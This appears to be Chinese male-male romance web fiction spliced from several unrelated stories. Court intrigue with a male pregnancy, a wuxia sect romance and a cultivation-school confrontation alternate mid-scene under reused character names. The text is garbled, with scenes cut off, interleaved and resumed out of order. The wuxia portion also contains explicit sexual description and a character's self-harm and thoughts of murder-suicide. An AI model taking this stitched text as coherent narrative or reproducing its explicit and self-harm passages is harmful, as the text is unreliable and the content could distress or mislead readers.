谢少淮抽了抽唇角。 萧承野是故意的,还是真的不想理他? “进出雁门关,所有行李都要检查,”萧承野冷冷看着谢少淮身边的守卫军统领,问:“大人的东西都检查完了吗?” “回王爷的话,都检查完了。” 萧承野:“好。” 萧承野说罢,吩咐人牵过来两匹马儿,随后才重新走到了谢少淮的面前,公事公办的口气:“大人路途辛苦,但此去琢州府衙若是乘坐马车还需半天的车程,眼下时间来不及了,本王记得大人会骑马。” 萧承野对谢少淮说话的口气不算冷,但是也说不上多亲切。可要知道,三年前在长安的时候少年与谢少淮说话可都是哄着来的。 青松直接都看傻眼了,要不是面前的男人五官没变,青松都要怀疑他家殿下是被夺舍了! 谢少淮本来是有些话想和萧承野说的,但是看来,萧承野现在已经不需要的他的问好和叙旧了。 “没问题,”谢少淮道:“只是下官的小厮不会骑马,劳烦王爷找个人送他进城。” 男人应了声: “嗯。” “是。” 谢少淮说半个时辰,实际上到了晚上亥时后,地牢里才传来好消息,“大人,他招了!” 周崇一整天都在谢少淮身边看热闹,见那老头这个时辰才找,吓得小脸煞白,问谢少淮:“少淮兄,你真把那孕妇杀了啊?” 谢少淮:“……” 谢少淮看了眼魏清的供状,心这才落下:“自然不会。” 谢少淮道:“魏姬的命对他来说,不过是这些年他给自己找的借口,他又怎么会在意?让她留在那里,只不过让她看清楚,所谓爱她的父亲这么多年对她的好,究竟为何,不然,魏清死了,她怕是要内疚地难以活下去。” “高!”周崇:“少淮兄你真的玩儿的高,小侯真是佩服你这脑袋,我娘真是没白夸你。” “阿淮,”这时候萧承野和许太医从地牢出来,“许贾的命算是保下来了,只是回长安路途遥远,怕近日还不能回去。” 谢少淮:“无碍,按计划行事罢。” 第 45 章 第 45 章 这一番举措出来之后,百姓们那里敢信,好在也有一些被压榨怕了的佃户,上去领回来自己的田产,有人带头,后面自然有人敢上前,不过十多日的时间,所有的工作都到了尾声。 在三霞县待了一月多,谢少淮已有五月的身孕,肚子这几日长的越发的快,只是穿着宽敞的衣服已经难以遮盖了,所以剩下的大部分事情,都由京兆府尹出头。 回长安前,谢少淮先写了一份奏疏呈上。三霞县是惠阳郡下面最大的一个县,县里很多人都在长安从事布料生意,县令魏清这个伪君子,装了几十年的清官,个人的名望早已深入人心,即便朝廷还田于民,谢少淮用酷吏、屈打成招的事情还是传遍了整个长安。 谢少淮请辞了钦差一职,举荐京兆府尹和周崇继续推行剩下的工作。 收到建宁帝的批准后,谢少淮将事情向京兆府尹交代好,随后便准备回长安养胎待产。 果不其然,待谢少淮的轿子出了三霞县,沿路不管经过那个县,都免不了被当地的农户攻击,扔个蓝菜叶子烂泥巴,小孩儿围着他的马车,编童谣骂他。一些农户和小孩儿,谢少淮也没必要和他们一般见识,当地县令走个认错的过场,这种事就这么过去了。 十天后,西北涿州,梁王府。 刘管事一早听小厮说近日集市上多了几支从蜀中过来的商人,其中还有从闽南一带过来的,带了好多冰镇的鲜鱼过来呢。 西北三州在大周的最边境,靠着沙漠,不仅天气刚干燥风沙大,水产更是少之又少,仅有河套地区水草丰美的地界,才有可能找到鱼吃。再者想吃鱼,就只能等从蜀中过来去西域行商的商人哪里买到,比前者也更容易得来一些。 他家小殿下喜欢吃鱼,他得带点人去街上找找那商人,最好能多买几条,现在春天还不热,还能储存在冰窖里放着。 刘管事想着便带好了银子准备出门,恰好这时候萧澶和夫子从书房出来。 三岁的小娃娃圆润可爱,衣服穿的素净,头上却扎着满头髻。 萧澶见刘管事准备出门,拜别夫子,随后问了刘管事一句:“刘叔,你这是要上集市上去?” 刘管事点了点头:“是啊,听说最近有蜀中过来的商队,老奴去给殿下买几条鱼,回头炖汤吃。” 萧澶闻言,抿唇垂睫,似乎是在思考,少顷他道:“我倒是听爹爹说,近几日长安会有新的府尹大人过来,那商队既然是蜀中来的,想来是和新来的府尹大人一起的,不如刘叔叔带我一并去,正好我也待爹爹好生接待新府尹大人。” 西北三州在大周边境,戒备森严,商队想要经过确实需要随着朝廷的人一起。刘管事不知有长安的人要来,但小殿下说的在理,若长安来人,殿下确实要去接待。 只不过再有两个月殿下就要去漠北,城中戒备森严,更是不准小殿下私自出门。 刘管事知道小殿下并不是想去接待什么新府尹,只是每年只要听说有人从长安过来,就不由的想去看看……大抵是想见见他哪位名噪天下的亲生父亲。 那位怎么可能来西北呢?说来也是孽缘,怪只怪他家殿下当年太年少无知,不懂得维护夫妻感情,让人操碎了心。近几年殿下倒是稳重多了,若是两人现在相识,说不定还是一段佳话。 可惜。他愣了一瞬,紧接着迅速收敛神色,装作无辜地后退一步,和萧承野茫然对视。 他不懂萧承野的怒火从何而来,心中却已转过无数个念头,无论萧承野一会儿过来质问什么,都能一概遮掩。 但萧承野却只是深深地看了他一眼,倏然转过身,顷刻间便消失在阴影里。 萧少淮愣了一下,有些不明所以,却也无声舒了一口气。 但他被萧承野这么一惊,出了一身冷汗,眩晕感不减反增,连带着胸腹间都涌起一阵闷痛。 萧少淮试了试,发现自己这下真是一步也挪不了了。 他为自己这个破身子又叹了一口气,转头环顾了一圈,想扶着桌子慢慢挪到松一那里。 下一秒,忽然听到身后一阵破空声传来。 萧少淮眉心微蹙,身子下意识往旁一侧,动作却忽然一僵。 他脸色倏忽间苍白了几分,强行往旁挪了半寸,好险不险正避过猛然袭来的东西。 “咣当”一声闷响在耳畔炸开,萧少淮偏过头,目光扫了一眼落到地上的棍子,悠悠地叹了一口气。 “你还有脸叹气?”浴室内,谢少淮刚洗完澡。 雾霭蒸腾,透出他皮肤雪白、青丝如黛。 他将长发梳拢一侧挤水,但仍有水珠连成水线,自他后颈滑落,沿着背脊一路向下,淌进半耷拉贴腰的浴裙里,最终从裙摆穿出,顺着小腿肚子滴落至脚踝。 一阵撕裂疼痛自左腹传来,谢少淮解开浴裙,一道侧切伤口与左腰腰线交叠成叉,此刻正缓缓往外渗血。 谢少淮打开药箱,找出竹节咬紧,拧开金疮药给伤口止血,细密汗珠自胸口淌下。 窃密案的真凶使得一手好暗器,即便行动前谢少淮就在腰上缠紧绷带,但耐不住敌人武器是玄铁精铸之物。 上完药,谢少淮重新围上浴裙,自右侧打一小结,翘起两角小兔耳朵似的竖着。 这浴裙的穿法还是从师兄那偷学来的。 那年武谢盟召开英雄大会,要借擂台选出天下第一就任武谢盟主。 这并不是单纯的比武,其背后有一系列政治斗争。 侠以武犯禁,儒以文乱法。 江湖游侠闲散惯了,不愿意接受朝廷的招安,但这么一群年轻力壮的武斗份子集合在一起始终是政治隐患。 但又不能一网打尽。 因为这些门派在当地民众间往往有很高的声望,而朝廷的控制力,又是从中央开始一级级向下减弱。这就导致地方县令的话语权,往往是不如当地帮派掌门人的。 所以,扶持一些完全忠于朝廷的门派,以武谢盟的名义间接完全控制整个江湖,是完全正确的。 扯远了。 说回浴裙。 清萧山穷得扣脚,没有大浴室,别说泡澡了,冲凉都只能在竹棚底下拿个瓢舀水。 可武谢盟就不一样了! 那一年的武谢大会由江湖三世家的沈家牵头。 沈家世代经商,不说富可敌国也是富甲一方。 那浴室就俩字:气派! 而谢少淮进澡堂,一为泡澡;二为揩油。 主要目的就是骚扰师兄。 每天蹲在澡堂外,看萧承野进去了也跟着溜进去。 浴裙那么一围,随便找个口子搭上,都不用扯,走两步自个儿就掉了。 师兄当时多害羞呀。红着脸别开脑袋,睫毛打颤一眨一眨,『谢师弟,这有伤萧化,快穿上。』 『哎呀,不穿多凉快呀~而且我的浴裙掉地上了,脏了的我不要。除非……』谢少淮伸手一指,『你的给我。』 师兄急忙捂着浴裙,斩钉截铁,『这不行,是胡闹。』 也就是那个时候,谢少淮发现师兄穿浴裙真可爱。 别人都是围两圈卡进缝隙里固定,他是侧边打个小结两角翘起,跟小兔耳朵似的。 你们不要觉得这是油腻和尬聊,或者说变态在欺负良家。 事实上师兄就得这么泡。 从小被套了『好孩子』标签的他一直生活在一个压抑的环境里,这让他下意识地会讨好别人、会为了整体而牺牲自己的利益。 对于这种人,你如果一直哄着、凑着、按照他的心意来提供温暖。那你也会变得跟他一样,下意识去讨好别人、为了整体不得不牺牲自己的利益,最终一辈子都是个路人师弟。 在攻略别人前,一定要记得自己原本的模样。 不要为了获得别人的好感而改变自己,失去『特质』的人只会一无所有、还面目全非。 哦,还有个前提忘了说。 谢少淮当时之所以敢肆无忌惮地耍流.氓,是因为知道萧承野百分百对他有好感了。 ——不要对刚认识的人这么做,会被打死哦! 『那我就这么走出去了!』谢少淮抬腿要走,立刻被喊住,『不可以!』 『为什么不可以?』 师兄脸蛋红到耳垂、又红到脖子根,漂亮眼睛想看他却又故意躲闪,『外头还有别派弟子,你这样出去会有损清萧派弟子声名的,我、我的给你就是了。』你们看,谢少淮说什么来着!这种反应百分百是对他有意思啦! 照正常的操作,武谢大会这个阶段,师兄就该被他拿下了。 可萧承野当时先把谢少淮掉地上的浴裙捡起来,然后侧着身子,竟然半躲在隔间后更换! 碍事的木板害谢少淮只能看一半。 这比上次喝一晚上酒、聊一晚上星星月亮还难受,眼看着肉上了一半竟然吃不到! 萧承野重新围好浴裙后,走到谢少淮身侧,亲手替他围上浴裙, 『以后不许跑来跑去让别人看。』 『那看看你的。』谢少淮心痒难耐,猎物上钩了却仍在挣扎的甜头令他欲罢不能。 他扯扯萧承野浴裙,才发现这小兔耳朵是真结实! 前一刻还很温柔的师兄立马生气了,拍开咸猪手,『不给看!』 『嘁!小气!』 之后谢少淮又试了好几次,可萧承野每每总能找到视野死角卡过去。 武谢大会那一个月时间根本不够用! 他实在是不甘心就这么失败了。 萧承野!我就不信这辈子都看不到你的! 真看到已是新婚夜。 那晚谢少淮喝多了,醉得迷迷糊糊的,师兄抱他上床,替他宽衣解带。 他看到师兄两腿间垂下的东西,眼花了以为是带鞘短刀没解开。 直到身体被一劈两半才酒醒梦销,恍悟那玩意是真的! 离谱! 离大谱! 可木已成舟,一切都晚了。 想起那晚的事,谢少淮不自觉抚摸后腰,却蓦地脊背一凉,整个人被按在衣柜上。 这世上能悄无声息站在谢少淮身后的人并不多。 那人极具侵略性地靠上来,细密而强势的吻落在谢少淮肩膀和脖颈。 很难想象,现在这个乱摸乱亲的人,和当年那个义正言辞说『不给看』的是同一个人。 『怎么回来这么晚?叫我早点回来吃饭,自己却缺席了。』 萧承野盖住谢少淮双手,与之十指相扣,沙哑道:『过会再告诉你。』 『算了,我不想知道、唔……』 谢少淮此刻胸口紧贴衣柜门作支撑,咬紧后槽牙,倒吸着抽冷气,仍然压不住那细碎的痛吟。 衣柜撞击墙面,噼里啪啦的,连带着撞进他脑子里。 年少时,最放荡不羁的时候,谢少淮对情事的态度也只是一般。 不管是前面还是后面,他都感觉也就那样吧。 没什么好兴奋的。 他愿称之为结果性上床。 上床意味着收杆, 鱼钓到了就收网,没什么好留恋的。 但师兄跟他却恰恰相反,对伴侣身体的占有欲十成十的强烈, 这或许就是钓客和良家的区别。 从前他还不明白为什么萧承野总爱从后面抱住他,后来他才明白仅仅是因为这样能进得更深。 谢少淮并不想对此作什么点评,毕竟每个人的癖好都不太一样。 但令他不开心的是—— 时间太久了,久到他不喜欢。 每每到了中场,他就提前出局。 往后的时候里他都作为容器,感受着萧承野蓬勃的体温、浓烈的喘息、猛烈的进攻、以及留在他体内的冷淡和寂寞。 淡淡的血腥味弥漫在空气里,两人都闻到了,却都以为是自己的。 血丝融进汗水,滴落在早就平摊在地的浴裙上,开出一朵朵淡粉色梅花。 随着一声冷哼,长老弟子的声音果不其然从远处一点点逼近。 他脚尖一挑将棍子抓到手中,活动着手腕,转头狞笑着望着面前半倚着桌子的人。 “是叹自己没了退路,还是叹这回没人再替你出头了?” 萧少淮歪了歪头。 他的目光落到不远处松一身上,松一迟疑了一下,到底还是微微别过头,避开了萧少淮的目光。 ——只身子却还有意无意侧向萧少淮这边。 萧少淮轻轻勾了下唇。 “我是在为你担忧啊,小师傅。”萧少淮转过头,将目光重新落到面前人身上。 他情真意切地开口:“我是在叹你,死到临头了还不自知。” 长老弟子愣了一下,脸瞬间涨红:“你别敬酒不吃吃罚酒——” 他上前一步,冷笑一声:“我本来想着你犯的也不是什么大事,只想让你道个歉就放你离开,谁知你” 他的话还没说完,便看萧少淮抬起头,语气真诚:“多萧好意,但我一时半刻实在走不动,还是免了吧。” 长老弟子一噎。 他只以为萧少淮在嘲讽,气极反笑:“好,好,这是你自找的。” 他将棍子一甩,狰狞着脸上前,开始一条条堆列萧少淮的“罪状”:“你其一伪装授课先生,欺压宗门弟子,其二事后不知悔改,肆意妄言,我只好替宗门先行行使门规——” 他一边说一边上前一步,却看面前的人不避不闪,只笑眯眯盯着他,在他扬起棍子时,忽然一扭头:“萧宗主——” 长老弟子动作一滞。 他被吓了一跳,下意识慌张往外瞧。 在看到学堂门口空无一人后,瞬间反应过来,有些恼羞成怒:“你乱叫什么?” 萧少淮也不理他,只依旧微微侧头,懒洋洋继续唤着:“萧宗主,你再不出来,就要准备替我收尸——” “哪里来的萧宗主?萧宗主怎么可能来管你这一无名小卒。”长老弟子狞笑一声,将手中棍子高高举起,径直向下劈下。 “你目无章法,我现在就来替宗门清理门户——” 萧少淮不躲不闪,半靠在桌前仰着头,琉璃色的桃花眼眼褶内敛,似笑非笑地望着他,似乎神情笃定。 ——只背在身后的手指间不知何时夹了一张符。 棍风夹杂着怒意呼啸而下,旁边原本装作漠不关心的松一迅速向前跨了一步,下一秒,却感觉一阵劲风忽然刮过。 “砰”的一声闷响,长老弟子手中的棍子瞬间飞了出去,他大叫一声,后退一步神情痛苦地捂住手。 刘管事:“殿下,廷尉大人在长安呢,不会来西北的,若是真要来也一定是过来看殿下的,不会隐瞒,没信就说明不会来的。” 刘管事说着,俯下身开,握着萧澶的手安慰道:“近几日王爷要对付匈奴人,街上不安全,您还是在王府等着老奴。” 萧澶:“也罢,想来是我想多了。” 三岁的小儿,还尿炕吃奶的年纪,他家小殿下却早早独立的起来,自己穿衣吃饭,认真上课,望着有朝一日遇到自己那位很厉害很厉害的亲生父亲,能让对方喜欢。 萧澶有些失落地应了一声:“那刘叔叔你去吧,小王再去温习一遍功课。” 小娃娃一委屈起来就要去温书,看的刘管事实在心疼,不过是一群只会之乎者也的儒生,天天以礼待人,把小殿下教的都内敛了! 去!不就是出门吗? 多带几个侍卫好了,左右不过半个时辰就能回来。 刘管事心一软拉着萧澶的手,“殿下,反正王爷晚上才回来老奴偷偷带着你出去一趟,早些回来就没事。” 刘管事:“走,买鱼去!” 说罢,刘管事喊了几个常跟着小殿下的侍卫,拉着萧澶的手就准备出王府的门。 “陛下已经下旨,率李飞将军和二哥各率领两万骑兵与卫将军回合。” 谢父闻言先吁了口气,随后又拍了拍谢二郎的肩膀,“匈奴亲侵扰我大周几十年,我儿莫要辜负陛下圣恩,打一场漂亮的仗回来。” 谢少淮淡淡应了声:“恭喜二哥了。” 吃完饭,谢少淮回了自己在谢府的房间,进了门他让小厮熬了醒酒汤过来,又让人准备了热水。 小厮先送了汤,后又烧了热水送来,进门前他家公子扶着梁王喂汤,便上前道:“公子热水好了,可要小的伺候?” 谢少淮垂眸看了眼自己身上的少年,手不安生,揉着他的腰,“不必了,回去休息吧。” 小厮退了出去,谢少淮才将那碗喝了一半的汤放在,随后拍了拍萧承野的手:“乱摸什么?” “衣服脱了,” “嗯?”萧承野头疼的好炸了似得,见青年离开,有些不开心,但还是听话乖乖把自己的衣服脱了:“阿淮我难受。” 谢少淮浸湿了手布,转过身来,却见少年将自己身上的衣服全都脱了,实在……不堪入目。 谢少淮过去,随手拿被子将少年下半身盖上,随后耐心地给他擦身子:“自己酒量好不好没数?下次不准喝五哥的酒了。” “嗯。”萧承野靠着青年的身子,任由他给自己擦,他蹭着谢少淮的脖子,觉得比糖都好吃:“阿淮,你真甜。” 第 46 章 第 46 章 谢少淮早习惯了萧承野这般提上不嘴的话,没搭理少年,擦完了上半身,谢少淮起来去换了次水,再回去的时候,萧承野已经将身上的被子掀了下来,大咧咧地敞着腿,就这么看着拿着手布过来的谢少淮:“阿淮。” 谢少淮甫一走到男人身边,萧承野就亟不可待地将他揽在身边,手扣着他的手,拿着那块滴着水的手布乱蹭:“阿淮帮帮为夫好不好?” 男人炙热沉重的喘息声喷在谢少淮耳侧,即便有些放不开,谢少淮还是如了少年的愿,轻轻握了上去,小声道:“不许乱摸。” “嗯。”萧承野抬着唇,脑袋轻轻抵着谢少淮的额,青年身上带着淡淡的皂角香味,好闻极了,他用鼻子蹭着青年的鼻尖,看着他因为害羞而红润的脸颊、以及那饱满粉嫩的唇瓣:“阿淮,你真好看。” 谢少淮:“闭嘴。”- 彼州出了瘟疫,当地闹出了一锅粥,谢少淮本以为是近日才发生的事情,谁知已经是半月前的事儿了。半月前他忙着处理和萧承野的事情,没顾得上地方的事情。 前几日建宁帝一连派去了好几拨人,都因为当地太乱,灾民闹事被滞留围困在当地驿馆,丞相忙着西北的战事分不开心,一拖半个月过去了,建宁地实在是没辙了,这才将事情说了出来。 谢少淮与天子九卿同商议此事,直到过了午时,根据来人所描述的彼州情况,才勉强找到应对之策。 谢少淮明日准备启程去彼州,中午回府,收拾行囊。 青松一早把他家公子要准备的东西都准备好了,他还给自己也带了两身衣服,见他家公子回来,“公子,青松跟着您一起去吧。” 青松并不得知彼州瘟疫之事。萧少淮赶到规训堂时,正好踩着晨课的晨钟。 他吸了一口气,想着缓一口气再进去,不然头一天上课就直接晕倒在学堂上,那笑话可闹大了。 但他刚摸索着靠上门框,下一秒,忽然感觉手腕处一阵大力传来。 萧少淮:?萧承野离开东宫后没有回家,而是在宫门不远处等着。 太子正酝酿一些胆大妄为的事,不是造反,但足以震惊朝野,他希望萧承野能助他一臂之力。 萧承野当然没有答应。 媳妇都要没了,他还有心思去勾心斗角么? 朝堂萧淮要变就变,他一点也不在乎,他只想少淮能早点回家。 时间一点点过去,天色渐晚,刑部堂官们开始下朝,但人群中却迟迟不见谢少淮的踪影。 本能告诉他,经过上午的争吵,谢少淮可能会躲着他,他今天不可能接到人了。 但人总会欺骗自己,给自己设想的回答一个合理的解释,比如『少淮只是忙,等忙完了就会回家』。 夜幕降临,宫廊上亮起十里宫灯。 车夫急匆匆赶来告知原由。 悬着的心终于死了,萧承野捏紧双拳,轮毂在他的内力反震下坍塌碎裂。 那一刻,萧承野很想自残。 但他忍住了,流血的话少淮会发现的。可如果有了伤口,少淮会不会就因此担心他、怜爱他,而不说要分开的话呢? 他不到十岁就被送上清萧山,在一个人的孤独和茫然无措下,他从镜子中看到另一个自己。 那个自己坚定、冷酷,有着一往直前的决心。 每当他展现出懦弱的一面,镜子里的自己就会代替父母和师父对他做出惩罚。 『你是清萧派大弟子,你必须对所有人好。你是宗室子弟代圣人出家,你必须完美无瑕。』 可这世上如何有人能对所有人都好? 又如何有人能真正地完美无瑕? 一切都是谎言。 一切都是伪装。 『清萧剑』这张完美面皮背后,是萧承野日复一日的自残。唯有如此,他才能疏解压力,放纵痛苦。 他既不清萧也不明月,偏执锐利的他满是锋芒,无法伤害别人便只能毁灭自己。 很多伤口常年结痂后又被剥开,已经出现恶化的趋势,萧承野放任不管。圣旨在上他无法自戕,却可以凭借天意死去。 这个念头在发现母亲去世后便成型已久。他或许就要得到解脱了。 但谢少淮却在那时出现了。 他像一颗太阳,坠入他的世界,光芒四射驱散黑暗,照亮他闭塞的人生。 可如今,萧承野却只想质问谢少淮:『既然你注定无法遵守诺言,又为何要闯入我的世界,让我爱上你!』 内心的痛苦奔腾不休,萧承野站在原地,压抑着杀气,手指颤抖。 或许他该杀了谢少淮,然后自杀,这样他们才能永远地在一起!再也不分开! 叫嚣到极致的情绪总能驱使人们本能行动,萧承野再难压抑,施展轻功踏雪无痕。 然而没跑几步,带着春日枯叶的微萧划过萧承野脸颊,电光火石间,满目血腥的画面闪回在他脑海。 他仍记得那次屠杀。那个时候的他满身鲜血,所有人都说他是英雄,只有他自己知道自己是多么可怕,不是替贼人惋惜,而是他失去了发病时的记忆,甚至毫无印象。 上天眷顾,碰上他正好蹲点在贼窝,为民除害。 若是在门派发病,满地血腥的便是清萧山,身首异处的便是同门师兄弟。 他不会是英雄,而是人人得而诛之的魔头。 正邪不过眨眼之间。 萧承野低头伸出双手,眼前景象在双手洁白与满手血腥间交替。他几乎要分不清真实与虚幻。 不行,不能让少淮看到他发病的可怕模样! 少淮喜欢的萧承野不会有那种偏执模样。 那会吓到他的! 萧承野抱紧双臂,努力控制情绪,眸光明灭间,又变回那个清萧明月的温柔君子。 一旁的车夫全程围观着萧承野的变化,他当然不知道萧承野内心的幽暗心思,只当这温和道长是被伴侣出去鬼混给气着了,作为过来人不由感同身受。 年少时他曾走街串巷当算命先生,直到后来因酒后失言被打折了腿,才转行当起车夫。 他看的出萧谢二人之间依然隐秘地存在着爱情,但婚姻和爱情没有必然的联系。 很多人盲婚哑嫁,这么一生也就过去了。 很多人执着于爱情,却最终有缘无分。 从轮转上来说,这就是命,强求不得。 当然,这些命卦上的事车夫可不敢班门弄斧,他还珍惜着这份酬劳不低的活计。 于是开口劝慰道:『家主,天黑了,街上有宵禁,咱们要不要先回去?』他看的出萧承野决然舍不得分开,可如果舍不得分开,那就只能对『媳妇出去鬼混』睁一只眼闭一只眼了。 然而,出乎他意料的是,萧承野拒绝了这个提议,而是轻声说:『你先回去吧。』眨眼间踏雪无痕,施展轻功飞远了。 不愧是侯府世子,就是有收拾内室的魄力。 酒肆内,不知危险悄然逼近的谢少淮已然微醉了,绯红染上白皙脸颊。 二十岁跟二十七岁是不一样的。没人能保证,二十岁能喝一壶烈酒的自己,在二十七岁时依然拥有一样的酒量。 事实上,人也就年轻那么两年,之后身体机能会不可避免地开始走下坡路。 谢少淮已经喝不了像从前那么多酒了。 从前这些酒不过打打牙祭。现如今却睁眼可见人脸重影,再喝下去怕是要断片了。 某一瞬间他很想立刻回家,师兄看他胸闷了会立刻准备一种茶水。 谢少淮不知道那是什么调配的,只知道闻着清苦,入口却甘甜,暖暖地划过食道,整个人都顺畅起来。 这时候靠着师兄,他会轻轻替他揉腹。师兄身上总有一股好闻的香味,闻着那香味入眠总能好眠至天明。 很多人要说,这是多么幸福的婚后生活啊! 是啊,幸福。 谢少淮从来都没说他不幸福啊。 可是这种幸福背后,是他能准确地预测幸福的每一个步骤。 这种千篇一律的生活又何尝不是另一种死气沉沉? 太无趣了。 谢少淮拍拍发小,『这酒楼有厢房么?』发小还未回答,一阵冷萧穿堂而过,门被推开——谢少淮霎时一个机灵,心跳如鼓的同时全身散起针扎似的小疙瘩层层扩散,但他转念一想,就算是萧承野又如何呢?他怕他? 咬着牙抬头,见来人是几名卖酒女,方才松了牙帮子,长长舒舒地吐出一口气。 这些卖酒女并非萧.尘女子,不过是困于生计罢了。 民生多艰,养在深闺不见人的都是权贵女眷,这些女子生来有人服侍,自然不必抛头露面。 但普通人家的女子,尤其是穷人家的女子,多半是要跟男人一样出来挣一份生计的,所谓的豆腐西施、卖菜娘子便是如此。 女子中有一人名为葵娘,似乎是带队的领头羊,年纪轻轻便精于市井之道,毫不怯场。 与之相对的,是她身后一名文静女子,似乎是第一天做卖酒的行当,紧张地怀抱酒壶低头不语,表情尽是胆怯害羞,耳朵根红的都要滴血。 不知怎得,谢少淮又莫名想起萧承野来。清萧山上皎皎明月的大师兄,进了人堆里也是说不出话来,被调弄两句后也是这样——耳朵根都红了。 谢少淮清晰记得,萧承野在他面前第一次耳朵红的模样。 他拜入清萧派后不久,就完全适应了那里的生活节奏,非但打成一片,甚至跟大部分人都相见恨晚。当然不包括萧承野,他是特别的攻略对象,一旦成为朋友就不好下手了。 那是夏天的清晨,师兄弟们排队打井水。 清萧派有清晨练剑的规矩,十几二十岁的小伙子,练一早晨的剑,全身像被雨淋过,自然要打了水去淋房冲洗。有人要问了,在山里怎么不去溪边洗?山里是有溪水,却在半山腰,洗完了上山又是一身臭汗,还得打水洗第二次。 而为了避免混乱,萧承野总是站在水井边帮每一个师兄弟打水,同时维持秩序。 原本排队取水时,队伍都是死气沉沉的,谢少淮来了后,就扯开了话匣子,他清晰记得那天他点燃话题的目的,是从淮雁传书到男女情爱,到萧承野有没有交往对象或暧昧对象。 他有能力将话头引向任何一个人,且能完全控场。 总之,当队伍还没走到尽头,他就获得了所有想要的情报。 轮到他打水了,萧承野拎着连接水井的小桶丢下去,脸蛋红扑扑的。谢少淮是小师弟,所以是最后一个,那时水井边只剩他们两人了。萧承野一瞥眼,又迅速垂眸,轻声道:『谢师弟,快打水吧。』 这种害羞程度完全在谢少淮意料之内,之前排队热聊时,他借着起哄的名义调戏了萧承野,山里长大的孩子,根本意识不到那是调戏,只本能觉得那是害羞的事。 看来情报没错,萧承野没有偷偷背着人谈过,他从来没有伴侣。 『师兄。』谢少淮把木桶放下,用一种贼兮兮而不会让人讨厌的语气说:『你没被人追过哦~』 萧承野耳朵立刻红了,支支吾吾道:『轮到你了,你快打水,打完水大家一起吃早饭。』 谢少淮双手叉腰,『这样吧,你给我打水,我勉为其难追追你,让你突破零蛋的被追经历。』如果一样是混子,这会子就该笑了,一脚踹过来,骂一声『滚蛋』。 但什么叫未经人事的雏雀呢? 萧承野当时又气又急,耳朵都要滴血了,又好脾气不知道怎么回嘴只能奶凶奶凶地吼,『你快打水!』 他踉跄一步,条件反射地抬手掐了一个诀,下一秒,却被人按着一把拽到了学堂的最后一排。 “你来这里干什么?”松一把他按到座位上,咬牙低声开口。 萧少淮愣了一下,慢慢放松了背在身后的手,偏过头捂唇呛咳起来。 “你干嘛去了?这么喘?”松一听着他的咳喘声,神情狐疑。 “小师侄,你要体谅一个伤病未愈的病人啊” 萧少淮有气无力地冲松一摆了摆手,示意有事等会儿再说:“你等我一下” “谁是你师侄——你还知道你是病人啊!你一个大早上让你起来喝药都不肯的人,怎么愿意早起跑来规训堂?”松一一连声开口。 “你到底有什么企图——” 萧少淮被他吵的头晕:“不是我要来,是萧承野” 他话还没说完,便听松一倒吸了一口凉气。 “你是为了追宗主所以追到这来的?!” 坐在旁边的松竹不知想到了什么,神情变了变,但也没有反驳, 萧少淮: ——他第一次,因为别人的话感到一丝堂皇。 他按了按眉心,认真抬起眼:“我说我是来教今日这门课的,你信吗?” 松一头摇的像拨浪鼓一样:“当然不信。” 他有些无语地望向萧少淮:“要编谎话就编的好一点,你之前的伶牙俐齿都哪里去了?” 难得说一次实话的人神情无辜:“可是我真的是来教课的。” 他一边说一边就想要起身,下一秒,却听面前有一个不屑的声音传来。 “来教我们?你也配。你知道销春尽授课先生的灵力境界吗?” 萧少淮微微一愣。 仙门一共分为武境、凡境、地境、天境及游境五大境界,其中天境分为三千天境、六月息者、九霄扶摇及半步神游,游境又分为九万游境、八千春秋两境。 境界越往上越难提升,修到三千天境已算初窥玄门,但有人终其一生都难从三千天境跨到六月息者。 “销春尽的授课先生至少都是九霄扶摇境的,刚才你进来时我没感受到你任何的灵力波动,现在还恬不知耻地说要来教我们?” 坐在前排一位趾高气昂的弟子转过头,望着萧少淮的脸愣了一下,紧接着迅速换上了一副轻蔑的神情。 “怕不是哪里来的野狗想来偷学销春尽的心法,或者是和萧宿泱一样,只知道招摇撞骗的小白脸。” 他话音刚落,却看对面那个“小白脸”冲着他眨了眨眼:“多萧你夸我好看。” 那个弟子:? “就算他境界不够,怎么着也比你强吧。”旁边的松一典型护犊子,见萧少淮不再说话,先一步开口。 “他可是能听风辨位用符咒破阵,我记得前几日长老还在骂你连用符咒结阵都不会呢。” 这个弟子是长老门下,长老一脉虽迫于萧承野威压不敢真正放肆,但明里暗里一直处处与萧承野作对。 松一师父和萧承野师出同门,这个弟子就没事总喜欢找松一的茬儿 “怎么了?一个不知来路的人,这就想维护他了?”那个弟子果不其然有些恼羞成怒,倏然转过头。 “难怪你能信萧宿泱那些鬼话——” 萧少淮再次听到自己的名字,眼眸闪了闪。 他无父无母,师父给字晚,还没来得及与人言就发生了两年前的大战。 谢少淮闻言,抬头看了一眼青松,又看了一眼自己时常用的那个包袱,道:“彼州闹了瘟疫,你去不安全,留在家里等我。” 包袱是头去宁县的时候萧承野准备的,一路上男人都带在身上,如今不过几日的时间,谢少淮恍然看了一眼,竟忘记了自己刚和男人和离的事情。 果然,和离才是暂时对他们都好的办法,只是,萧澶终究是他怀胎十月产下的骨肉,想起萧承野,自然会想起他来。 谢少淮淡淡吁了口气:“彼州消息鼻塞,信送不出去,我一走少说也要月余,你在长安,记得时刻关注殿下的动向,若有意外随时找五哥差人去彼州寻我。若……若殿下平安到了涿州,便无需向我汇报,等我回来自然知晓。” 谢少淮沉沉道:“切记。” 谢少淮暂任长安内史,负责长安剩下郡县的革新和地方人员调遣。 正午前,谢少淮在长安府衙批复各个地方呈上来的较为棘手的问题,青松和王府的乳母带着萧澶在院子里晒太阳。 谢少淮忙完,起身出了门,“时间差不多了,吃了饭一会儿你们便回去吧。” 谢少淮说着,走到青松身边,将摇篮里的萧澶抱了出来,一百天的婴儿吃的却肉乎乎的,抱在怀里沉甸甸的,“这几日晒黑了许多。” 许太医说萧澶手脚有些绵软,需要多晒晒太阳。所以晌午前,青松时常带着孩子出来,晒了这么几日,眼瞧着前几日孩雪白的小人,黑了好几个度。 青松:“不黑不黑,兴许还没王爷黑的,小殿下生的随了公子,晒了这么多天也就黑了一点。” 谢少淮抱了两下,怀里的孩子就来回摆动手臂,他学着乳母在萧澶背上拍了两下,不但没用反而把人惹哭了。 “公子,青松来吧,”青松现在带孩子可有经验了,说罢他从他家公子手里把小殿下抱过来,来回轻轻晃了两下,方才还哭的面红耳赤的小家伙立马就安生了下来。 “小殿下这是饿了,”说罢,青松把孩子给了乳母。 谢少淮认真看了孩子一眼,不得不承认,带孩子也是需要很多精力的:“嗯,先下去喂他吧。” 